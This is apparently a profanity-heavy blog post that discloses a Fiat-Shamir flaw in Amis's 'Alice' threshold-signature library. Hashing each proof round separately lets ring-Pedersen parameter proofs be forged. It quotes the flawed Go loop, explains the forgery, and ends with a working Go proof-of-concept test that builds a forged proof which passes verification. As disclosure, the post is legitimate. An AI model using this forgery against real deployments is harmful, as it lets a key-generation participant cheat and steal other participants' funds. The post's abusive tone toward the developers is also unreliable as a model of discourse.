Amis is a blockchain and AI consulting company. Two great bullshit grifts, same bullshit company. What a deal!
Alice is Amis’ threshold signature system. They talk a big game about Alice being a “hierarchical” threshold signature scheme, which… whatever, fine. In the end, it’s all just variations on the same theme.
Since I’m writing about them here, you’ve probably guessed that they completely fucked it up. The best part is that it’s a monumentally stupid fuckup, and ol’ Salty loves to roast crypto douchebags AND AI bros equally for being so stupid that I found it in about five minutes. It’s like multiple orgasms, but I don’t have to sneak any Viagra out of my nephew’s medicine cabinet.
Hierarchical Signatures
Threshold signatures are really popular in the cryptocurrency world. The idea is that you can break up a Bitcoin key into n different pieces to give to different people, but any t of the people with pieces can get together and generate a valid signature.
This idea gets all the crypto bros hard, because it’s all about reducing trust, and crypto bros all assume their friends and business partners are as desperate to fuck them as they are to fuck their friends and business partners. So they look at threshold signatures as a truce: you don’t trust me, I won’t trust you, and we’ll use this incredibly complex math to pretend we’re each keeping the other honest. They think this makes them look like geniuses, rather than the ghoulish, backstabbing cretins they are.
There are some cryptographic solutions for this. IACR’s eprint server is probably 90% multiparty signature papers by volume at this point; the other 10% being Peter Gutmann bitching about how quantum computers aren’t as smart as his dog and maybe some trace elements.
Anyway, every threshold signature system that looks secure is intricate, obtuse, and laden with annoying fiddly shit that will fuck everything up if you get the details remotely wrong.
Speaking of annoying details…
Distributed Key Generation
Remember how, like, two paragraphs above, I said crypto bros are all grifters who don’t trust each other? That paranoia goes a level deeper. “Breaking up” a key that already exists requires you to trust somebody to hold it in the first place. Since they all hate and distrust each other, that just won’t do. Instead, they use distributed key generation (DKG) protocols so that they don’t so much split the key as generate it in a way that nobody ever learns the private key entirely.
DKG protocols have a bunch of places where somebody can try to cheat by sending bullshit values that trick the other participants into revealing their shares. To stop that from happening, these protocols use zero-knowledge proofs (ZKPs) to demonstrate that the values being used are correct and not malicious without revealing the values themselves.
It’s all crazy moon math shit, and you’d expect a company that does cryptocurrency consulting to pay attention to the details.
Amis took a different path. They decided to do monumentally stupid shit instead, the useless fuck-knuckles.
Pedersen commitments and parameters
One of the big proofs in a DKG protocol is the Pedersen parameter proof. The details of how this fits into the security are wonky and detailed, and Salty’s too old to explain all the details in one post.
The short version is that the cryptobros have to “commit” to certain values early in the process, and they can’t be allowed to substitute different values later on.
If a cryptobro can find a way to commit to one value but use another without being caught, he can leverage that to recover the key portions of other cryptobros and fuck them by stealing all their money.
A lot of DKG systems rely on Pedersen commitments, with each cryptobro picking his own parameters. Don’t worry too much about the details; the main consideration here is that the parameters of the Pedersen commitments have to be solid, or a cryptobro can steal from his buddies.
To prevent that, each cryptobro has to generate a zero-knowledge proof that their commitment parameters are valid. If a cryptobro can cheat at this stage, it would make it super for him to cheat at later stages and steal his cryptobuddies’ money.
Pedersen parameter proofs
How do Pedersen parameter proofs work? Ugh. It’s a long story, but here’s an overview (I know it’s long, but I swear to God this is a VERY simplified version of this proof type that skips a lot of details):
Alice, knowing a secret number k, generates a pair of related equations that can only be simultaneously solved with a pair of values related to k. This isn’t hard; in fact, she can generate millions of these equation pairs in seconds.
If Alice reveals the solutions to both of the equations, that’s bad: Bob can use the two related values to recover k, and then use that to fuck Alice. So she can’t prove that she knows k by revealing the solutions to both equations.
Alice can’t just pick one of the two equations and send the solution to Bob, either: even without k, it’s easy to generate a phony equation along with its solution, while being unable to solve the related equation. The secret is required to solve _both_ equations.
Alice needs to prove that she can solve both equations, but she can’t show both solutions.
If Alice and Bob are communicating with each other, there’s a nifty solution: Alice generates an equation pair and sends it to Bob, and Bob picks one of the equations for Alice to solve.
If Alice generates her equations honestly, she can use k to solve the equation that Bob selected. If Alice tried to trick Bob by generating a phony equation, there’s only a 50/50 chance Bob will pick the equation she knows how to solve.
If Alice and Bob do this a whole bunch of times, and Alice is cheating, Bob has a 50% chance of catching her at it. After doing this seven times, Bob has better than a 99% chance of catching Alice at cheating. If they do it 256 times, then Alice’s chances of getting away with cheating are about 0.0000000000000000000000000000000000000000000000000000000000000000000000000008636168555%. Even by cryptographer standards, those are pretty bad odds.
Pretty clever!
Fiat-Shamir
But what happens if Alice and Bob can’t communicate interactively? What if Alice doesn’t have time to wait for Bob to pick which of the equations he wants her to solve!
There’s a solution, and it’s called the Fiat-Shamir transform. In the Fiat-Shamir transform, Alice generates all her pairs at once. Then she hashes all the equation pairs together (with some additional parameter information) to get a challenge value c. Instead of getting choices from Bob, she uses the bits of c to determine which equation to solve. She writes down the equations and the selected solutions.
Later on, Alice can send Bob one big message with all the equation pairs and solutions. Bob hashes the equations together to get the same challenge value c that Alice computed. Then he goes through the bits of c and checks that Alice gave a correct solution to the indicated equation.
The idea is that Alice cannot control or anticipate the hash of all the equations, so he chances of cheating against the hash function’s selection are no better than her chances of cheating against Bob.
How Alice (the library) does ring Pedersen proofs
Of course, the cryptobro cuntnuggets at Amis had their own ideas for how to implement the Fiat-Shamir transform.
Let’s take a look at how these dickthistles did it:
for i := 0; i < nubmerZkproof; i++ { // Sample ai in Z_{φ(N)} for i in {1,...,m} ai, err := utils.RandomInt(eulerValue) if err != nil { return nil, err } Ai := new(big.Int).Exp(t, ai, n) // ei = {0, 1} ei, err := utils.HashBytesToInt(salt, ssidInfo, n.Bytes(), s.Bytes(), t.Bytes(), Ai.Bytes()) if err != nil { return nil, err } ei.Mod(ei, big2) // zi = ai+ei λ mod φ(N) for i in {1,...,m} zi := new(big.Int).Add(ai, new(big.Int).Mul(ei, lambda)) zi.Mod(zi, eulerValue) A[i] = Ai.Bytes() Z[i] = zi.Bytes()}In this case, the Ai value represents the pair of related equations that Alice claims she can solve. The specific equations she’s claiming she can solve are (0) Ai = t^zi (mod N) and (1) Ai = t^zi * s (mod N).
Did you notice that the hash computation is inside the loop that generates the equation pairs? That’s NOT how the Fiat-Shamir transform works. It’s not even close. Alice is supposed to hash ALL of her equations together at the same time to generate a challenge– not hash each pair of equations individually.
If Alice hashes ALL of the equations together, then she can’t know ahead of time how the last equation affects the first bit. Or the second bit. Or the third, or fourth, or… you get it.
If Alice and Bob hash only the current equation pair, then every equation is an independent challenge that Alice can try to solve, rather than a set of challenges that Alice would have to try to solve simultaneously.
Given that Alice’s odds of guessing which equation she needs to solve are 50/50, she can just keep trying different bogus equation pairs until one of them hashes to a value that lets her use the equation she knows how to solve. That’s not much work.
How Alice (the cryptobro) can fuck Bob (the cryptobro)
To forge a ring-Pedersen proof, Alice only needs to find one pair of values: a (z, A) pair of the form A = t^z (mod N), where the lowest bit of H(N, S, T, A) is zero. It’s possible to search for such a pair simply by trying different values for z. The proof can then be constructed by repeating the (z, A) pair for the requested number of iterations.
Alternatively, Alice can look for (z, A) pairs of the form A = s^(-1) * t^z mod N, where the lowest bit of H(N, S, T, A) is one. Again, trial-and-error on different values of z will find you such a pair.
Proof-of-concept exploit
Want proof that this works? Go ahead and download the Alice codebase from Amis. Then go into the file crypto/zkproof/paillier/ring_pedersenzkproof_test.go and add the following to the file:
func TestForgery(t *testing.T) { testCount := 128 pqSize := 1024 p, _ := rand.Prime(rand.Reader, pqSize) q, _ := rand.Prime(rand.Reader, pqSize) publicKey := new(big.Int).Mul(p, q) ssIDInfo := []byte("This is a forgery, ya dumb cunts") salt := []byte("This is the salt") s_val, _ := rand.Int(rand.Reader, publicKey) t_val, _ := rand.Int(rand.Reader, publicKey) rpMessage := new(RingPederssenParameterMessage) rpMessage.N = publicKey.Bytes() rpMessage.S = s_val.Bytes() rpMessage.T = t_val.Bytes() rpMessage.Salt = salt rpMessage.A = make([][]byte, testCount) rpMessage.Z = make([][]byte, testCount) a_value := big.NewInt(0) z_value := big.NewInt(0) for i := 2; i < 65536; i++ { z := big.NewInt(int64(i)) Ai := new(big.Int).Exp(t_val, z, publicKey) ei, _ := utils.HashBytesToInt(rpMessage.Salt, ssIDInfo, publicKey.Bytes(), s_val.Bytes(), t_val.Bytes(), Ai.Bytes()) ei.Mod(ei, big.NewInt(2)) if ei.Cmp(big.NewInt(0)) == 0 { a_value = Ai z_value = z break } } for i := 0; i < testCount; i++ { rpMessage.A[i] = a_value.Bytes() rpMessage.Z[i] = z_value.Bytes() } // Check that our proof validates err := rpMessage.Verify(ssIDInfo) if nil != err { fmt.Println("p == ", p.Text(16)) fmt.Println("q == ", q.Text(16)) fmt.Println("z == ", z_value.Text(16)) fmt.Println("a == ", a_value.Text(16)) t.Errorf("Forgery failed") }}One of the fun bits about this is that the same equation pair can be reused. So Alice only needs to find ONE equation pair that works. Forgery literally takes less time than generating an honest proof!
Summing Up
Seriously, the Amis team doesn’t know what the fuck they’re doing. Fuck them.
In keeping with Soatok’s guidance:
(It’s okay, he likes it– just look at his eeny-weeny!)